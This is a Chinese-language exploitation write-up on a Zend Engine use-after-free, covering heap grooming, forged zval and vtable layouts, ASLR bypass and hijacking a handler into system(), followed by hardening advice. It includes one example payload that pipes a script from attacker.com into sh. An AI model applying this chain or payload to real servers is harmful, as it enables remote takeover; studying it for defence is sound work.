vulnerabilities php2shell exploit

从悬空指针到 system():堆风水、伪造 zval 与 RCE 完整利用链拆解

php2shell.run Research Lab •

从悬空指针到 system():堆风水、伪造 zval 与 RCE 完整利用链拆解

<time datetime="2026-10-23">验证日: 2026年10月23日</time> · 架构审计: Zend Engine 4.x / ZMM (CVE-2026-109618 & CVE-2026-109619)

将一个底层的内存释放后使用(UAF)漏洞(CVE-2026-109618 与 CVE-2026-109619)转化为 100% 稳定触发的远程命令执行(RCE),在系统安全领域属于一套精密的攻防工程。

在 PHP Zend 引擎的语境下,整个攻击过程不依赖任何业务逻辑,而是直接对 Zend 内存管理器(Zend MM) 的内部二进制布局展开定向攻防。


一、 16 字节伪造 zval 结构体内存对齐与解构图

在 PHP 7 与 PHP 8 架构中,所有变量底层统一采用 16 字节对齐的 struct _zval_struct。攻击者在内存中精心构造伪造对象虚表的二进制拓扑结构如下:

 0x00               0x08           0x09      0x0A      0x0C            0x10
 ┌──────────────────┬──────────────┬─────────┬─────────┬──────────────┐
 │ zend_value       │ u1.type      │ flags   │ gc_info │ u2.extra     │
 │ (8 字节 指针字段)│ (1 字节标签) │ (1 字节)│ (2 字节)│ (4 字节)     │
 └────────┬─────────┴──────┬───────┴─────────┴─────────┴──────────────┘
          │                │
          │                └─► 0x08 (伪装为 IS_OBJECT 或特定引擎对象类型)
          │
          ▼
 ┌──────────────────────────────────────┐
 │ 堆上伪造的 zend_object 对象结构体    │
 │ ┌──────────────────────────────────┐ │
 │ │ handlers (指向伪造虚表的指针)   │ │
 │ └──────────────┬───────────────────┘ │
 └────────────────┼─────────────────────┘
                  │
                  ▼
 ┌──────────────────────────────────────┐
 │ 攻击者精心排布的伪造函数虚表 (vtable)│
 │ ┌──────────────────────────────────┐ │
 │ │ free_obj / read_prop / call 指针 │ │
 │ │ ──► 精准指向 libc 中的 system()  │ │
 │ └──────────────────────────────────┘ │
 └──────────────────────────────────────┘

二、 第一阶段:堆风水(Heap Grooming)与占位

Zend MM 采用按大小分桶(Bin)的管理机制(类似于 Linux glibc 的空闲链表)。

当 UAF 发生、目标内存块被释放后,攻击者必须保证该内存块被自己可控的数据重新“精准抢租”:

  1. 清空碎片(Draining Holes): 在触发漏洞前,先通过精确构造长度的 HTTP 头或表单键值对,排空该尺寸桶内的既有碎片内存;
  2. 堆喷射(Heap Spraying): 并发发送大量包含统一构造数据块的请求,淹没目标桶;
  3. 精准占位: 根据 Zend MM 先入后出(LIFO)的空闲链表特性,刚被释放的柜位会被立刻重新分配给攻击者输入的数据。

三、 第二阶段:构造 16 字节的“假盒子”(Fake zval)

在 PHP 7 与 PHP 8 架构中,所有变量底层统一采用 16 字节对齐的 struct _zval_struct 结构体表示:

struct _zval_struct {
    zend_value value;       // 8 字节:根据类型分别存放标量值或堆指针
    union {
        struct {
            uint8_t type;   // 变量类型标签:IS_LONG, IS_STRING, IS_OBJECT 等
            uint8_t type_flags;
            ...
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t next;
    } u2;
};

攻击者利用堆喷射,在占位的内存块中灌入十六进制原始字节:

  • 将 u1.type 伪装成 IS_OBJECT 或引擎待解引用的内部结构;
  • 将 value 指针指向一个攻击者在内存中精心排布的“伪造虚函数表(vtable)”。

四、 第三阶段:绕过 ASLR 内存防御与控制流劫持

现代操作系统(Linux/macOS)均全面开启 ASLR(地址空间布局随机化)。直接写死 system 地址会导致进程当场崩溃。

攻击者通常采用**两阶段攻击(Two-stage RCE)**实现精准击穿:

  1. 信息泄露(任意读): 先伪造一个 IS_STRING 类型的 zval,让其指针指向已知的 Zend 符号表或函数指针。通过回显读出真实指针,计算出当前进程的 libc 基地址以及 system() 的真实绝对内存位置。

  2. 控制流转移: 将伪造虚表中的析构或属性访问函数指针改写为 system() 的真实地址。

  3. 最终执行: 当 PHP 引擎执行类似 obj->handlers->free_obj(obj) 的操作时,CPU 寄存器(x86-64 下的 RDI,ARM64 下的 X0)正好指向对象自身或可控参数。

    攻击者在其中填入 Shell 命令字符串(如 curl attacker.com/sh | sh),CPU 执行 CALL <system>,指令流从 Zend 虚拟机直接跳入操作系统底层 Shell 环境,RCE 宣告达成。


五、 防御工程视角:如何从内核根除利用链

要阻断上述复杂的利用链,防御方应当在两个关键维度实施深度防御:

  1. 配置层扼杀触发源: 在 php.ini 中全局声明 session.upload_progress.enabled = Off,彻底切断悬空指针初始产生的 C 代码路径;
  2. 内核层剥夺系统调用能力: 通过 Linux Seccomp-BPF 针对 PHP-FPM 工作进程全面封杀 execve、fork 和 clone 系统调用。即便利诱发了 vtable 劫持并跳转至 system(),操作系统内核也将在 CPU 执行 SYSCALL 59 的瞬间强行终止进程(SIGSYS),使 RCE 在物理上失去执行载体。